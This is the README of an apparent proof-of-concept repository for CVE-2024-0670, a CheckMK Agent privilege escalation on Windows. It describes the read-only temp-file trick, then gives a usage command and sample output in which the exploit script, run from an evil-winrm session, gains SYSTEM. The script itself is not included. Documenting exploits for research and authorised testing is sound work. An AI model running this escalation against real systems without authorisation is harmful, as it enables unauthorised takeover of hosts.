PoC for CVE-2024-0670# [CVE-2024-0670](https://nvd.nist.gov/vuln/detail/CVE-2024-0670) PoC
This repository provides a **Proof of Concept (PoC)** exploit for the **[CVE-2024-0670](https://nvd.nist.gov/vuln/detail/CVE-2024-0670)** vulnerability, affecting the **CheckMK Agent** on Windows systems. The vulnerability occurs when the **CheckMK Agent** creates and executes temporary files in the `C:\Windows\Temp` directory. An attacker can abuse this behavior by pre-positioning malicious files in that directory with write protection. When the agent attempts to create a temporary file that already exists as read-only, it fails to overwrite it but still executes the existing file with `SYSTEM` privileges, enabling privilege escalation.
Advisory Reference: [SEC Consult - Local Privilege Escalation via writable files in Checkmk Agent](https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/)
---
### :warning: DISCLAIMER
This project is intended **for educational, research, and authorized security testing purposes only**.
**Do not use this code on systems you do not own or have explicit permission to test.**
The author is **not responsible** for any damage or misuse.
---
### Usage
```
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
```
### Example
```
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
[+] Searching for Check MK installer...
[+] Found: C:\Windows\Installer\1e6f2.msi
[+] Using command: whoami > C:\Windows\Temp\whoami.txt
[+] Preparing 18000 .cmd files...
[*] Progress: 0%
[*] Progress: 10%
[*] Progress: 20%
[*] Progress: 30%
[*] Progress: 40%
[*] Progress: 50%
[*] Progress: 60%
[*] Progress: 70%
[*] Progress: 80%
[*] Progress: 90%
[*] Progress: 100%
[+] Triggering MSI to execute command...
[+] Done
evil-winrm-py PS C:\Users\magicrc\Desktop> cat C:\Windows\Temp\whoami.txt
nt authority\system
```
登录后查看神龙缓存的 POC 文件快照
登录查看